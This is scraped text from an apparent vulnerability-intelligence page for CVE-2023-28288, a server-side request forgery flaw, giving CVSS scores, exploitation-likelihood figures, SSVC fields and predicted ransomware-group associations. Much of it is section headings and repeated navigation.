Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

None A:N

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N/E:U/RL:O/RC:C

Attack Vectors

CWE

CWE-918

Prioritization

KEV Prediction

5.4%

Percentile

60%

LEV

6.0%

SSVC

Decision

Attend

Exploitation

Active

Automatable

Technical Impact

Total

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

YES

PoC Available

Ransomware

YES

Ransomware Intelligence

Associated Groups

Predictions

bianlian (552)

blackbasta (523)

bian lian

Magic Hound

4 group(s) • 4 predicted

CVE-2023-28288

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

Predictions

Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

Full Analysis

Affected Products (5)

Disclaimer

ExploitDB (1)

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

References (3)

CVE-2023-28288

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

Predictions Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

Full Analysis

Affected Products (5)

Disclaimer

ExploitDB (1)

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

References (3)

Predictions

Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.